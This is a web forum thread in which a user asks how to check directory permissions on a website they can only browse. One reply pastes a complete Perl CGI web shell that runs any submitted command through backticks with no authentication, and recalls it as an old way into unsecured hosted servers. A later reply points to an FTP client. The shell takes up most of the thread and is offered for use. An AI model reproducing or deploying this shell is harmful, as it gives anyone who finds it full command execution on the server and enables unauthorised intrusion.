how to check up directory chmods (i dont know how it is called on english - directory access properties) if i know full way to derictory in system
Printable View
how to check up directory chmods (i dont know how it is called on english - directory access properties) if i know full way to derictory in system
ls -l
i have no access to command prompt. there is website and i know way to some derictories (like http://xxx.com/images, etc...) and also know way in the system (/home/www/....). is it possible to see directory chmods?
If the server belongs to you and you can upload files then yeah. If the server doesn't belong to you and you're just directory browsing it then no. If the former is the case, then you can just upload a file manager (assuming your host doesn't have one for you to use, otherwise you should see it). Or, you can try the script im gonna paste below. It's an old script I had lying around, back from my WebTV days, lol. This one isn't mine, and I don't know who wrote it, but it's a web based command prompt and the commands you throw at it should be tailored to your host's OS. Keep in mind it's very unsecure so if you use it then you should remove it when you're done.
Any oldschool WebTV'ers might remember this script as the all-access pass into websites on unsecured servers like HyperMart. They eventually caught on and started locking things down, lol...
Code:#!/usr/bin/perl
use POSIX;
&parse_form;
$action = $input{'action'};
$command = $input{'command'};
$CWD = $input{'cwd'};
if ($action eq "") { &start; }
if ($action ne "") { &run_command; }
sub start {
⊤
open(MSG,"cat /etc/motd |");
@lines = <MSG>;
close(MSG);
$whereami = POSIX::getcwd();
$PROMPT = "Telnet\@$ENV{'SERVER_NAME'}:$whereami";
print "<PRE>\n";
for $x(0 .. $#lines) {
print "$lines[$x]\n";
}
print "$PROMPT <blink>_</blink>\n\n</PRE>\n";
⊥
}
sub top {
print "Content-type: text/html\n\n";
print "<BODY BGCOLOR=\"000000\" TEXT=\"white\" onLoad=\"document.cmd_form.command.focus()\">\n"; } sub bottom { print "<FORM NAME=\"cmd_form\" METHOD=POST>
<input type=hidden name=\"action\" value=\"run\">
<INPUT TYPE=\"HIDDEN\" NAME=\"cwd\" VALUE=\"$whereami\">
<INPUT TYPE=\"TEXT\" NAME=\"command\" SIZE=60 MAXLENGTH=1000 bgcolor=000000 text=white cursor=gold border=0 nohighlight autoactivate>"; } sub run_command { ⊤
## First, get into the correct directory
chdir ($CWD);
if ( $command =~ 'cd') {
@ls = split / /, $command;
$dir = $ls[1];
$dir =~ s/\n//g;
$dir =~ s/\cM//g;
chdir ($dir);
}
$whereami = POSIX::getcwd();
$PROMPT = "Telnet\@$ENV{'SERVER_NAME'}:$whereami";
$_=$command;
s/(.)*=//; s/\+/ /g; s/%(..)/pack("c",hex($1))/ge;
$out=`$_ 2>&1`;
print "<PRE> $PROMPT \n > $command \n\n $out \n\n $PROMPT <blink>_</blink></PRE>"; ⊥ exit 0;
}
sub parse_form{
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
if (length($buffer) < 5) {
$buffer = $ENV{QUERY_STRING};
}
@pairs=split(/&/,$buffer);
foreach $pair(@pairs) {
($name, $value)=split(/=/,$pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][A-F0-9])/pack("C",hex($1))/eg;
if($input{$name} eq "") {
$input{$name} = $value;
push (@Fields,$name);
}
else {
$input{$name} = $input{$name}." ".$value;
}
}
}
Use the ftp client you use to upload the content. A proper client will show you the directory/file permissions.Quote:
Originally Posted by je0n